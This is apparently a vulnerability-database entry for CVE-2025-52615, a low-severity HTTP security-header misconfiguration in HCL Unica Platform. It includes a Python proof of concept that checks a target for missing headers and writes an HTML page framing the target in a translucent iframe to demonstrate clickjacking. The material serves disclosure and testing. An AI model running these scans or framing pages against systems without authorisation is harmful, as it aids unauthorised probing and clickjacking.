CVE-2025-52615

Description

HCL Unica Platform is impacted by misconfigured security related HTTP headers. This can lead to less secure browser default treatment for the policies controlled by these headers.

CVSS Details

CVSS Score

3.5

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:hcltech:unica:*:*:*:*:*:*:*:* - VULNERABLE

HCL Unica Platform（具体受影响版本请参考HCL官方安全公告KB0124417）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-52615 PoC - HCL Unica Platform HTTP Security Headers Misconfiguration
# This PoC demonstrates how to detect missing/misconfigured security HTTP headers
# on the target HCL Unica Platform instance.

import requests
import sys

TARGET_URL = "https://target-unica-platform.example.com"

# Critical security headers that should be present in HTTP responses
SECURITY_HEADERS = {
    "Content-Security-Policy": "Mitigates XSS and data injection attacks",
    "X-Frame-Options": "Prevents clickjacking attacks",
    "X-Content-Type-Options": "Prevents MIME-type sniffing attacks",
    "Strict-Transport-Security": "Enforces HTTPS connections (HSTS)",
    "Referrer-Policy": "Controls Referer header leakage",
    "Permissions-Policy": "Restricts browser features and APIs",
}


def check_security_headers(url):
    """Check for missing or misconfigured security headers."""
    print(f"[*] Checking security headers for: {url}")
    print("-" * 70)

    try:
        response = requests.get(url, timeout=10, verify=False, allow_redirects=True)
    except requests.exceptions.RequestException as e:
        print(f"[!] Error connecting to target: {e}")
        sys.exit(1)

    print(f"[+] HTTP Status Code: {response.status_code}")
    print(f"[+] Response Headers Received: {len(response.headers)}")
    print("-" * 70)

    missing_headers = []
    weak_headers = []

    for header, description in SECURITY_HEADERS.items():
        if header not in response.headers:
            missing_headers.append((header, description))
            print(f"[MISSING] {header}: {description}")
        else:
            value = response.headers[header]
            # Check for weak/loose values
            if header == "X-Frame-Options" and value.upper() not in ["DENY", "SAMEORIGIN"]:
                weak_headers.append((header, value))
            elif header == "X-Content-Type-Options" and value.lower() != "nosniff":
                weak_headers.append((header, value))
            elif header == "Strict-Transport-Security" and "max-age" not in value:
                weak_headers.append((header, value))
            else:
                print(f"[OK]      {header}: {value}")

    print("-" * 70)
    if missing_headers or weak_headers:
        print(f"[VULNERABLE] Target is affected by CVE-2025-52615")
        print(f"    Missing headers: {len(missing_headers)}")
        print(f"    Weak headers:    {len(weak_headers)}")
        return True
    else:
        print("[OK] All critical security headers are properly configured.")
        return False


def demonstrate_clickjacking(url):
    """Demonstrate clickjacking risk due to missing X-Frame-Options."""
    html_payload = f"""<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-52615 - Clickjacking PoC</title>
</head>
<body>
    <h1>Clickjacking Proof of Concept</h1>
    <p>If you can see the framed content below, the target is vulnerable.</p>
    <iframe src="{url}" width="800" height="600" style="opacity:0.5"></iframe>
</body>
</html>"""
    with open("clickjacking_poc.html", "w") as f:
        f.write(html_payload)
    print(f"[+] Clickjacking PoC saved to clickjacking_poc.html")


if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
    is_vulnerable = check_security_headers(target)
    if is_vulnerable:
        demonstrate_clickjacking(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52615
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52615
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52615/
[4] VulDB https://vuldb.com/cve/CVE-2025-52615
[5] https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0124417

Raw JSON Data

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